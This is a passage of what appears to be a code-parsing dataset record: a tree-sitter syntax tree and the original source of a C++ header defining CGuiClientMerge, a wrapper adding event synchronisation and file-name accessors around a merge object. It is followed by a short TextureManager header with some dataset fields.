{"row": 39, "column": 25}, "end_point": {"row": 39, "column": 32}}, {"id": 190, "type": "identifier", "text": "baseFileName", "parent": 188, "children": [], "start_point": {"row": 39, "column": 33}, "end_point": {"row": 39, "column": 45}}, {"id": 191, "type": "assignment_expression", "text": "m_baseFileName = baseFileName", "parent": 183, "children": [192, 193, 194], "start_point": {"row": 39, "column": 49}, "end_point": {"row": 39, "column": 78}}, {"id": 192, "type": "identifier", "text": "m_baseFileName", "parent": 191, "children": [], "start_point": {"row": 39, "column": 49}, "end_point": {"row": 39, "column": 63}}, {"id": 193, "type": "=", "text": "=", "parent": 191, "children": [], "start_point": {"row": 39, "column": 64}, "end_point": {"row": 39, "column": 65}}, {"id": 194, "type": "identifier", "text": "baseFileName", "parent": 191, "children": [], "start_point": {"row": 39, "column": 66}, "end_point": {"row": 39, "column": 78}}, {"id": 195, "type": "function_definition", "text": "CString BaseFileName() { return m_baseFileName; }", "parent": 6, "children": [196, 197], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 53}}, {"id": 196, "type": "type_identifier", "text": "CString", "parent": 195, "children": [], "start_point": {"row": 40, "column": 4}, "end_point": {"row": 40, "column": 11}}, {"id": 197, "type": "function_declarator", "text": "BaseFileName()", "parent": 195, "children": [198, 199], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 26}}, {"id": 198, "type": "identifier", "text": "BaseFileName", "parent": 197, "children": [], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 24}}, {"id": 199, "type": "parameter_list", "text": "()", "parent": 197, "children": [], "start_point": {"row": 40, "column": 24}, "end_point": {"row": 40, "column": 26}}, {"id": 200, "type": "return_statement", "text": "return m_baseFileName;", "parent": 195, "children": [201], "start_point": {"row": 40, "column": 29}, "end_point": {"row": 40, "column": 51}}, {"id": 201, "type": "identifier", "text": "m_baseFileName", "parent": 200, "children": [], "start_point": {"row": 40, "column": 36}, "end_point": {"row": 40, "column": 50}}, {"id": 202, "type": "function_definition", "text": "void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }", "parent": 6, "children": [203, 204], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 81}}, {"id": 203, "type": "primitive_type", "text": "void", "parent": 202, "children": [], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 8}}, {"id": 204, "type": "function_declarator", "text": "SetYourFileName(LPCTSTR yourFileName)", "parent": 202, "children": [205, 206], "start_point": {"row": 41, "column": 9}, "end_point": {"row": 41, "column": 46}}, {"id": 205, "type": "identifier", "text": "SetYourFileName", "parent": 204, "children": [], "start_point": {"row": 41, "column": 9}, "end_point": {"row": 41, "column": 24}}, {"id": 206, "type": "parameter_list", "text": "(LPCTSTR yourFileName)", "parent": 204, "children": [207], "start_point": {"row": 41, "column": 24}, "end_point": {"row": 41, "column": 46}}, {"id": 207, "type": "parameter_declaration", "text": "LPCTSTR yourFileName", "parent": 206, "children": [208, 209], "start_point": {"row": 41, "column": 25}, "end_point": {"row": 41, "column": 45}}, {"id": 208, "type": "type_identifier", "text": "LPCTSTR", "parent": 207, "children": [], "start_point": {"row": 41, "column": 25}, "end_point": {"row": 41, "column": 32}}, {"id": 209, "type": "identifier", "text": "yourFileName", "parent": 207, "children": [], "start_point": {"row": 41, "column": 33}, "end_point": {"row": 41, "column": 45}}, {"id": 210, "type": "assignment_expression", "text": "m_yourFileName = yourFileName", "parent": 202, "children": [211, 212, 213], "start_point": {"row": 41, "column": 49}, "end_point": {"row": 41, "column": 78}}, {"id": 211, "type": "identifier", "text": "m_yourFileName", "parent": 210, "children": [], "start_point": {"row": 41, "column": 49}, "end_point": {"row": 41, "column": 63}}, {"id": 212, "type": "=", "text": "=", "parent": 210, "children": [], "start_point": {"row": 41, "column": 64}, "end_point": {"row": 41, "column": 65}}, {"id": 213, "type": "identifier", "text": "yourFileName", "parent": 210, "children": [], "start_point": {"row": 41, "column": 66}, "end_point": {"row": 41, "column": 78}}, {"id": 214, "type": "function_definition", "text": "CString YourFileName() { return m_yourFileName; }", "parent": 6, "children": [215, 216], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 53}}, {"id": 215, "type": "type_identifier", "text": "CString", "parent": 214, "children": [], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 11}}, {"id": 216, "type": "function_declarator", "text": "YourFileName()", "parent": 214, "children": [217, 218], "start_point": {"row": 42, "column": 12}, "end_point": {"row": 42, "column": 26}}, {"id": 217, "type": "identifier", "text": "YourFileName", "parent": 216, "children": [], "start_point": {"row": 42, "column": 12}, "end_point": {"row": 42, "column": 24}}, {"id": 218, "type": "parameter_list", "text": "()", "parent": 216, "children": [], "start_point": {"row": 42, "column": 24}, "end_point": {"row": 42, "column": 26}}, {"id": 219, "type": "return_statement", "text": "return m_yourFileName;", "parent": 214, "children": [220], "start_point": {"row": 42, "column": 29}, "end_point": {"row": 42, "column": 51}}, {"id": 220, "type": "identifier", "text": "m_yourFileName", "parent": 219, "children": [], "start_point": {"row": 42, "column": 36}, "end_point": {"row": 42, "column": 50}}, {"id": 221, "type": "function_definition", "text": "void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }", "parent": 6, "children": [222, 223], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 85}}, {"id": 222, "type": "primitive_type", "text": "void", "parent": 221, "children": [], "start_point": {"row": 43, "column": 4}, "end_point": {"row": 43, "column": 8}}, {"id": 223, "type": "function_declarator", "text": "SetTheirFileName(LPCTSTR theirFileName)", "parent": 221, "children": [224, 225], "start_point": {"row": 43, "column": 9}, "end_point": {"row": 43, "column": 48}}, {"id": 224, "type": "identifier", "text": "SetTheirFileName", "parent": 223, "children": [], "start_point": {"row": 43, "column": 9}, "end_point": {"row": 43, "column": 25}}, {"id": 225, "type": "parameter_list", "text": "(LPCTSTR theirFileName)", "parent": 223, "children": [226], "start_point": {"row": 43, "column": 25}, "end_point": {"row": 43, "column": 48}}, {"id": 226, "type": "parameter_declaration", "text": "LPCTSTR theirFileName", "parent": 225, "children": [227, 228], "start_point": {"row": 43, "column": 26}, "end_point": {"row": 43, "column": 47}}, {"id": 227, "type": "type_identifier", "text": "LPCTSTR", "parent": 226, "children": [], "start_point": {"row": 43, "column": 26}, "end_point": {"row": 43, "column": 33}}, {"id": 228, "type": "identifier", "text": "theirFileName", "parent": 226, "children": [], "start_point": {"row": 43, "column": 34}, "end_point": {"row": 43, "column": 47}}, {"id": 229, "type": "assignment_expression", "text": "m_theirFileName = theirFileName", "parent": 221, "children": [230, 231, 232], "start_point": {"row": 43, "column": 51}, "end_point": {"row": 43, "column": 82}}, {"id": 230, "type": "identifier", "text": "m_theirFileName", "parent": 229, "children": [], "start_point": {"row": 43, "column": 51}, "end_point": {"row": 43, "column": 66}}, {"id": 231, "type": "=", "text": "=", "parent": 229, "children": [], "start_point": {"row": 43, "column": 67}, "end_point": {"row": 43, "column": 68}}, {"id": 232, "type": "identifier", "text": "theirFileName", "parent": 229, "children": [], "start_point": {"row": 43, "column": 69}, "end_point": {"row": 43, "column": 82}}, {"id": 233, "type": "function_definition", "text": "CString TheirFileName() { return m_theirFileName; }", "parent": 6, "children": [234, 235], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 52}}, {"id": 234, "type": "type_identifier", "text": "CString", "parent": 233, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 8}}, {"id": 235, "type": "function_declarator", "text": "TheirFileName()", "parent": 233, "children": [236, 237], "start_point": {"row": 44, "column": 9}, "end_point": {"row": 44, "column": 24}}, {"id": 236, "type": "identifier", "text": "TheirFileName", "parent": 235, "children": [], "start_point": {"row": 44, "column": 9}, "end_point": {"row": 44, "column": 22}}, {"id": 237, "type": "parameter_list", "text": "()", "parent": 235, "children": [], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 24}}, {"id": 238, "type": "return_statement", "text": "return m_theirFileName;", "parent": 233, "children": [239], "start_point": {"row": 44, "column": 27}, "end_point": {"row": 44, "column": 50}}, {"id": 239, "type": "identifier", "text": "m_theirFileName", "parent": 238, "children": [], "start_point": {"row": 44, "column": 34}, "end_point": {"row": 44, "column": 49}}, {"id": 240, "type": "function_definition", "text": "void SetHeadIsText(BOOL b) { m_bHeadIsText = b; }", "parent": 6, "children": [241, 242], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 50}}, {"id": 241, "type": "primitive_type", "text": "void", "parent": 240, "children": [], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 5}}, {"id": 242, "type": "function_declarator", "text": "SetHeadIsText(BOOL b)", "parent": 240, "children": [243, 244], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 27}}, {"id": 243, "type": "identifier", "text": "SetHeadIsText", "parent": 242, "children": [], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 19}}, {"id": 244, "type": "parameter_list", "text": "(BOOL b)", "parent": 242, "children": [245], "start_point": {"row": 45, "column": 19}, "end_point": {"row": 45, "column": 27}}, {"id": 245, "type": "parameter_declaration", "text": "BOOL b", "parent": 244, "children": [246, 247], "start_point": {"row": 45, "column": 20}, "end_point": {"row": 45, "column": 26}}, {"id": 246, "type": "type_identifier", "text": "BOOL", "parent": 245, "children": [], "start_point": {"row": 45, "column": 20}, "end_point": {"row": 45, "column": 24}}, {"id": 247, "type": "identifier", "text": "b", "parent": 245, "children": [], "start_point": {"row": 45, "column": 25}, "end_point": {"row": 45, "column": 26}}, {"id": 248, "type": "assignment_expression", "text": "m_bHeadIsText = b", "parent": 240, "children": [249, 250, 251], "start_point": {"row": 45, "column": 30}, "end_point": {"row": 45, "column": 47}}, {"id": 249, "type": "identifier", "text": "m_bHeadIsText", "parent": 248, "children": [], "start_point": {"row": 45, "column": 30}, "end_point": {"row": 45, "column": 43}}, {"id": 250, "type": "=", "text": "=", "parent": 248, "children": [], "start_point": {"row": 45, "column": 44}, "end_point": {"row": 45, "column": 45}}, {"id": 251, "type": "identifier", "text": "b", "parent": 248, "children": [], "start_point": {"row": 45, "column": 46}, "end_point": {"row": 45, "column": 47}}, {"id": 252, "type": "function_definition", "text": "BOOL GetHeadIsText() { return m_bHeadIsText; }", "parent": 6, "children": [253, 254], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 47}}, {"id": 253, "type": "type_identifier", "text": "BOOL", "parent": 252, "children": [], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 5}}, {"id": 254, "type": "function_declarator", "text": "GetHeadIsText()", "parent": 252, "children": [255, 256], "start_point": {"row": 46, "column": 6}, "end_point": {"row": 46, "column": 21}}, {"id": 255, "type": "identifier", "text": "GetHeadIsText", "parent": 254, "children": [], "start_point": {"row": 46, "column": 6}, "end_point": {"row": 46, "column": 19}}, {"id": 256, "type": "parameter_list", "text": "()", "parent": 254, "children": [], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 21}}, {"id": 257, "type": "return_statement", "text": "return m_bHeadIsText;", "parent": 252, "children": [258], "start_point": {"row": 46, "column": 24}, "end_point": {"row": 46, "column": 45}}, {"id": 258, "type": "identifier", "text": "m_bHeadIsText", "parent": 257, "children": [], "start_point": {"row": 46, "column": 31}, "end_point": {"row": 46, "column": 44}}, {"id": 259, "type": "function_definition", "text": "void SetStatus(MergeStatus status) { m_status = status; }", "parent": 6, "children": [260, 261], "start_point": {"row": 48, "column": 4}, "end_point": {"row": 48, "column": 61}}, {"id": 260, "type": "primitive_type", "text": "void", "parent": 259, "children": [], "start_point": {"row": 48, "column": 4}, "end_point": {"row": 48, "column": 8}}, {"id": 261, "type": "function_declarator", "text": "SetStatus(MergeStatus status)", "parent": 259, "children": [262, 263], "start_point": {"row": 48, "column": 9}, "end_point": {"row": 48, "column": 38}}, {"id": 262, "type": "identifier", "text": "SetStatus", "parent": 261, "children": [], "start_point": {"row": 48, "column": 9}, "end_point": {"row": 48, "column": 18}}, {"id": 263, "type": "parameter_list", "text": "(MergeStatus status)", "parent": 261, "children": [264], "start_point": {"row": 48, "column": 18}, "end_point": {"row": 48, "column": 38}}, {"id": 264, "type": "parameter_declaration", "text": "MergeStatus status", "parent": 263, "children": [265, 266], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 37}}, {"id": 265, "type": "type_identifier", "text": "MergeStatus", "parent": 264, "children": [], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 30}}, {"id": 266, "type": "identifier", "text": "status", "parent": 264, "children": [], "start_point": {"row": 48, "column": 31}, "end_point": {"row": 48, "column": 37}}, {"id": 267, "type": "assignment_expression", "text": "m_status = status", "parent": 259, "children": [268, 269, 270], "start_point": {"row": 48, "column": 41}, "end_point": {"row": 48, "column": 58}}, {"id": 268, "type": "identifier", "text": "m_status", "parent": 267, "children": [], "start_point": {"row": 48, "column": 41}, "end_point": {"row": 48, "column": 49}}, {"id": 269, "type": "=", "text": "=", "parent": 267, "children": [], "start_point": {"row": 48, "column": 50}, "end_point": {"row": 48, "column": 51}}, {"id": 270, "type": "identifier", "text": "status", "parent": 267, "children": [], "start_point": {"row": 48, "column": 52}, "end_point": {"row": 48, "column": 58}}, {"id": 271, "type": "ERROR", "text": "MergeStatus GetStatus() const", "parent": 6, "children": [272, 273], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 33}}, {"id": 272, "type": "type_identifier", "text": "MergeStatus", "parent": 271, "children": [], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 15}}, {"id": 273, "type": "function_declarator", "text": "GetStatus()", "parent": 271, "children": [274, 275], "start_point": {"row": 49, "column": 16}, "end_point": {"row": 49, "column": 27}}, {"id": 274, "type": "identifier", "text": "GetStatus", "parent": 273, "children": [], "start_point": {"row": 49, "column": 16}, "end_point": {"row": 49, "column": 25}}, {"id": 275, "type": "parameter_list", "text": "()", "parent": 273, "children": [], "start_point": {"row": 49, "column": 25}, "end_point": {"row": 49, "column": 27}}, {"id": 276, "type": "return_statement", "text": "return m_status;", "parent": 6, "children": [277], "start_point": {"row": 49, "column": 36}, "end_point": {"row": 49, "column": 52}}, {"id": 277, "type": "identifier", "text": "m_status", "parent": 276, "children": [], "start_point": {"row": 49, "column": 43}, "end_point": {"row": 49, "column": 51}}, {"id": 278, "type": "function_definition", "text": "void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }", "parent": 6, "children": [279, 280], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 54, "column": 5}}, {"id": 279, "type": "primitive_type", "text": "void", "parent": 278, "children": [], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 51, "column": 8}}, {"id": 280, "type": "function_declarator", "text": "CheckResultFile()", "parent": 278, "children": [281, 282], "start_point": {"row": 51, "column": 9}, "end_point": {"row": 51, "column": 26}}, {"id": 281, "type": "identifier", "text": "CheckResultFile", "parent": 280, "children": [], "start_point": {"row": 51, "column": 9}, "end_point": {"row": 51, "column": 24}}, {"id": 282, "type": "parameter_list", "text": "()", "parent": 280, "children": [], "start_point": {"row": 51, "column": 24}, "end_point": {"row": 51, "column": 26}}, {"id": 283, "type": "call_expression", "text": "m_pMerge->IsAcceptable()", "parent": 278, "children": [284, 287], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 32}}, {"id": 284, "type": "field_expression", "text": "m_pMerge->IsAcceptable", "parent": 283, "children": [285, 286], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 30}}, {"id": 285, "type": "identifier", "text": "m_pMerge", "parent": 284, "children": [], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 16}}, {"id": 286, "type": "field_identifier", "text": "IsAcceptable", "parent": 284, "children": [], "start_point": {"row": 53, "column": 18}, "end_point": {"row": 53, "column": 30}}, {"id": 287, "type": "argument_list", "text": "()", "parent": 283, "children": [], "start_point": {"row": 53, "column": 30}, "end_point": {"row": 53, "column": 32}}, {"id": 288, "type": "labeled_statement", "text": "protected:\n ClientMerge *m_pMerge;", "parent": 6, "children": [289], "start_point": {"row": 55, "column": 0}, "end_point": {"row": 56, "column": 26}}, {"id": 289, "type": "declaration", "text": "ClientMerge *m_pMerge;", "parent": 288, "children": [290, 291], "start_point": {"row": 56, "column": 4}, "end_point": {"row": 56, "column": 26}}, {"id": 290, "type": "type_identifier", "text": "ClientMerge", "parent": 289, "children": [], "start_point": {"row": 56, "column": 4}, "end_point": {"row": 56, "column": 15}}, {"id": 291, "type": "pointer_declarator", "text": "*m_pMerge", "parent": 289, "children": [292, 293], "start_point": {"row": 56, "column": 16}, "end_point": {"row": 56, "column": 25}}, {"id": 292, "type": "*", "text": "*", "parent": 291, "children": [], "start_point": {"row": 56, "column": 16}, "end_point": {"row": 56, "column": 17}}, {"id": 293, "type": "identifier", "text": "m_pMerge", "parent": 291, "children": [], "start_point": {"row": 56, "column": 17}, "end_point": {"row": 56, "column": 25}}, {"id": 294, "type": "declaration", "text": "HANDLE m_hEvent;", "parent": 6, "children": [295, 296], "start_point": {"row": 57, "column": 1}, "end_point": {"row": 57, "column": 17}}, {"id": 295, "type": "type_identifier", "text": "HANDLE", "parent": 294, "children": [], "start_point": {"row": 57, "column": 1}, "end_point": {"row": 57, "column": 7}}, {"id": 296, "type": "identifier", "text": "m_hEvent", "parent": 294, "children": [], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 16}}, {"id": 297, "type": "declaration", "text": "MergeStatus m_status;", "parent": 6, "children": [298, 299], "start_point": {"row": 58, "column": 4}, "end_point": {"row": 58, "column": 25}}, {"id": 298, "type": "type_identifier", "text": "MergeStatus", "parent": 297, "children": [], "start_point": {"row": 58, "column": 4}, "end_point": {"row": 58, "column": 15}}, {"id": 299, "type": "identifier", "text": "m_status", "parent": 297, "children": [], "start_point": {"row": 58, "column": 16}, "end_point": {"row": 58, "column": 24}}, {"id": 300, "type": "declaration", "text": "CString m_filespec;", "parent": 6, "children": [301, 302], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 20}}, {"id": 301, "type": "type_identifier", "text": "CString", "parent": 300, "children": [], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 8}}, {"id": 302, "type": "identifier", "text": "m_filespec", "parent": 300, "children": [], "start_point": {"row": 59, "column": 9}, "end_point": {"row": 59, "column": 19}}, {"id": 303, "type": "declaration", "text": "CString m_baseFileName;", "parent": 6, "children": [304, 305], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 60, "column": 27}}, {"id": 304, "type": "type_identifier", "text": "CString", "parent": 303, "children": [], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 60, "column": 11}}, {"id": 305, "type": "identifier", "text": "m_baseFileName", "parent": 303, "children": [], "start_point": {"row": 60, "column": 12}, "end_point": {"row": 60, "column": 26}}, {"id": 306, "type": "declaration", "text": "CString m_yourFileName;", "parent": 6, "children": [307, 308], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 61, "column": 27}}, {"id": 307, "type": "type_identifier", "text": "CString", "parent": 306, "children": [], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 61, "column": 11}}, {"id": 308, "type": "identifier", "text": "m_yourFileName", "parent": 306, "children": [], "start_point": {"row": 61, "column": 12}, "end_point": {"row": 61, "column": 26}}, {"id": 309, "type": "declaration", "text": "CString m_theirFileName;", "parent": 6, "children": [310, 311], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 62, "column": 28}}, {"id": 310, "type": "type_identifier", "text": "CString", "parent": 309, "children": [], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 62, "column": 11}}, {"id": 311, "type": "identifier", "text": "m_theirFileName", "parent": 309, "children": [], "start_point": {"row": 62, "column": 12}, "end_point": {"row": 62, "column": 27}}, {"id": 312, "type": "declaration", "text": "BOOL m_bHeadIsText;", "parent": 6, "children": [313, 314], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 20}}, {"id": 313, "type": "type_identifier", "text": "BOOL", "parent": 312, "children": [], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 5}}, {"id": 314, "type": "identifier", "text": "m_bHeadIsText", "parent": 312, "children": [], "start_point": {"row": 63, "column": 6}, "end_point": {"row": 63, "column": 19}}, {"id": 315, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 67, "column": 0}, "end_point": {"row": 67, "column": 6}}]}, "node_categories": {"declarations": {"functions": [6, 34, 36, 44, 46, 54, 58, 67, 71, 80, 84, 93, 97, 108, 119, 130, 141, 152, 164, 166, 176, 178, 183, 185, 195, 197, 202, 204, 214, 216, 221, 223, 233, 235, 240, 242, 252, 254, 259, 261, 273, 278, 280], "variables": [169, 188, 207, 226, 245, 264, 289, 294, 297, 300, 303, 306, 309, 312], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [10, 13, 25, 39, 50, 62, 63, 75, 76, 88, 89, 101, 102, 112, 113, 123, 124, 134, 135, 145, 146, 156, 157, 158, 283, 284], "assignments": [22, 172, 191, 210, 229, 248, 267], "loops": [], "conditionals": [0, 1, 2, 5, 7, 11, 14, 16, 18, 19, 21, 23, 26, 37, 40, 42, 43, 45, 47, 51, 53, 55, 59, 64, 65, 68, 72, 77, 78, 81, 85, 90, 91, 94, 98, 103, 104, 109, 114, 115, 120, 125, 126, 131, 136, 137, 142, 147, 148, 153, 159, 160, 167, 170, 171, 173, 175, 177, 179, 182, 186, 189, 190, 192, 194, 196, 198, 201, 205, 208, 209, 211, 213, 215, 217, 220, 224, 227, 228, 230, 232, 234, 236, 239, 243, 246, 247, 249, 251, 253, 255, 258, 262, 265, 266, 268, 270, 272, 274, 277, 281, 285, 286, 290, 293, 295, 296, 298, 299, 301, 302, 304, 305, 307, 308, 310, 311, 313, 314, 315], "returns": [49, 61, 74, 87, 100, 111, 122, 133, 144, 155, 181, 200, 219, 238, 257, 276], "exceptions": []}, "expressions": {"calls": [], "literals": [163], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "CGuiClientMerge", "text_snippet": "class CGuiClientMerge\n{\npublic:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n"}, {"node_id": 34, "universal_type": "function", "name": "WaitForSignal", "text_snippet": "void WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }"}, {"node_id": 36, "universal_type": "function", "name": "unknown", "text_snippet": "WaitForSignal()"}, {"node_id": 44, "universal_type": "function", "name": "unknown", "text_snippet": "BOOL Signal() { return SetEvent(m_hEvent); }"}, {"node_id": 46, "universal_type": "function", "name": "unknown", "text_snippet": "Signal()"}, {"node_id": 54, "universal_type": "function", "name": "unknown", "text_snippet": "FileSys *YourFile() { return m_pMerge->GetYourFile(); }"}, {"node_id": 58, "universal_type": "function", "name": "unknown", "text_snippet": "YourFile()"}, {"node_id": 67, "universal_type": "function", "name": "unknown", "text_snippet": "FileSys *TheirFile() { return m_pMerge->GetTheirFile(); }"}, {"node_id": 71, "universal_type": "function", "name": "unknown", "text_snippet": "TheirFile()"}, {"node_id": 80, "universal_type": "function", "name": "unknown", "text_snippet": "FileSys *BaseFile() { return m_pMerge->GetBaseFile(); }"}, {"node_id": 84, "universal_type": "function", "name": "unknown", "text_snippet": "BaseFile()"}, {"node_id": 93, "universal_type": "function", "name": "unknown", "text_snippet": "FileSys *ResultFile() { return m_pMerge->GetResultFile(); }"}, {"node_id": 97, "universal_type": "function", "name": "unknown", "text_snippet": "ResultFile()"}, {"node_id": 108, "universal_type": "function", "name": "unknown", "text_snippet": "GetBothChunks()"}, {"node_id": 119, "universal_type": "function", "name": "unknown", "text_snippet": "GetYourChunks()"}, {"node_id": 130, "universal_type": "function", "name": "unknown", "text_snippet": "GetConflictChunks()"}, {"node_id": 141, "universal_type": "function", "name": "unknown", "text_snippet": "GetTheirChunks()"}, {"node_id": 152, "universal_type": "function", "name": "unknown", "text_snippet": "IsAcceptable()"}, {"node_id": 164, "universal_type": "function", "name": "SetFilespec", "text_snippet": "void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }"}, {"node_id": 166, "universal_type": "function", "name": "unknown", "text_snippet": "SetFilespec(LPCTSTR filespec)"}, {"node_id": 176, "universal_type": "function", "name": "unknown", "text_snippet": "CString GetFilespec() { return m_filespec; }"}, {"node_id": 178, "universal_type": "function", "name": "unknown", "text_snippet": "GetFilespec()"}, {"node_id": 183, "universal_type": "function", "name": "SetBaseFileName", "text_snippet": "void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }"}, {"node_id": 185, "universal_type": "function", "name": "unknown", "text_snippet": "SetBaseFileName(LPCTSTR baseFileName)"}, {"node_id": 195, "universal_type": "function", "name": "unknown", "text_snippet": "CString BaseFileName() { return m_baseFileName; }"}, {"node_id": 197, "universal_type": "function", "name": "unknown", "text_snippet": "BaseFileName()"}, {"node_id": 202, "universal_type": "function", "name": "SetYourFileName", "text_snippet": "void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }"}, {"node_id": 204, "universal_type": "function", "name": "unknown", "text_snippet": "SetYourFileName(LPCTSTR yourFileName)"}, {"node_id": 214, "universal_type": "function", "name": "unknown", "text_snippet": "CString YourFileName() { return m_yourFileName; }"}, {"node_id": 216, "universal_type": "function", "name": "unknown", "text_snippet": "YourFileName()"}, {"node_id": 221, "universal_type": "function", "name": "SetTheirFileName", "text_snippet": "void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }"}, {"node_id": 223, "universal_type": "function", "name": "unknown", "text_snippet": "SetTheirFileName(LPCTSTR theirFileName)"}, {"node_id": 233, "universal_type": "function", "name": "unknown", "text_snippet": "CString TheirFileName() { return m_theirFileName; }"}, {"node_id": 235, "universal_type": "function", "name": "unknown", "text_snippet": "TheirFileName()"}, {"node_id": 240, "universal_type": "function", "name": "SetHeadIsText", "text_snippet": "void SetHeadIsText(BOOL b) { m_bHeadIsText = b; }"}, {"node_id": 242, "universal_type": "function", "name": "unknown", "text_snippet": "SetHeadIsText(BOOL b)"}, {"node_id": 252, "universal_type": "function", "name": "unknown", "text_snippet": "BOOL GetHeadIsText() { return m_bHeadIsText; }"}, {"node_id": 254, "universal_type": "function", "name": "unknown", "text_snippet": "GetHeadIsText()"}, {"node_id": 259, "universal_type": "function", "name": "SetStatus", "text_snippet": "void SetStatus(MergeStatus status) { m_status = status; }"}, {"node_id": 261, "universal_type": "function", "name": "unknown", "text_snippet": "SetStatus(MergeStatus status)"}, {"node_id": 273, "universal_type": "function", "name": "unknown", "text_snippet": "GetStatus()"}, {"node_id": 278, "universal_type": "function", "name": "CheckResultFile", "text_snippet": "void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }"}, {"node_id": 280, "universal_type": "function", "name": "unknown", "text_snippet": "CheckResultFile()"}], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// Copyright 1997 <NAME>. All rights reserved.\n//\n//\n\n// GuiClientMerge.h \n//\n// CGuiClientMerge is a ClientMerge wrapper\n// that add a synchronization mechanism\n//\n\n#ifndef __GUICLIENTMERGE__\n#define __GUICLIENTMERGE__\n\nclass CGuiClientMerge\n{\npublic:\n CGuiClientMerge(ClientMerge *pMerge)\n : m_pMerge(pMerge)\n {\n\t m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }\n\tvoid WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }\n\tBOOL Signal() { return SetEvent(m_hEvent); }\n\n\tFileSys *YourFile() { return m_pMerge->GetYourFile(); }\n\tFileSys *TheirFile() { return m_pMerge->GetTheirFile(); }\n\tFileSys *BaseFile() { return m_pMerge->GetBaseFile(); }\n\tFileSys *ResultFile() { return m_pMerge->GetResultFile(); }\n\n\tint GetBothChunks() const { return m_pMerge->GetBothChunks(); }\n\tint GetYourChunks() const { return m_pMerge->GetYourChunks(); }\n\tint GetConflictChunks() const { return m_pMerge->GetConflictChunks(); }\n\tint GetTheirChunks() const { return m_pMerge->GetTheirChunks(); }\n\n bool IsAcceptable() const { return m_pMerge->IsAcceptable() == 1; }\n\n void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }\n CString GetFilespec() { return m_filespec; } \n void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }\n CString BaseFileName() { return m_baseFileName; } \n void SetYourFileName(LPCTSTR yourFileName) { m_yourFileName = yourFileName; }\n CString YourFileName() { return m_yourFileName; } \n void SetTheirFileName(LPCTSTR theirFileName) { m_theirFileName = theirFileName; }\n\tCString TheirFileName() { return m_theirFileName; }\n\tvoid SetHeadIsText(BOOL b) { m_bHeadIsText = b; }\n\tBOOL GetHeadIsText() { return m_bHeadIsText; }\n\n void SetStatus(MergeStatus status) { m_status = status; }\n MergeStatus GetStatus() const { return m_status; }\n\n void CheckResultFile()\n {\n m_pMerge->IsAcceptable();\n }\nprotected:\n ClientMerge *m_pMerge;\n\tHANDLE m_hEvent;\n MergeStatus m_status;\n\tCString m_filespec;\n CString m_baseFileName;\n CString m_yourFileName;\n CString m_theirFileName;\n\tBOOL m_bHeadIsText;\n};\n\n/////////////////////////////////////////////////////////////////////////////\n#endif //__GUICLIENTMERGE__\n\n\n\n\n\n\n"}
81,148
c
#pragma once #include <boost/filesystem.hpp> class TextureManager { public: static uint32_t LoadTexture(boost::filesystem::path); };
16.88
8
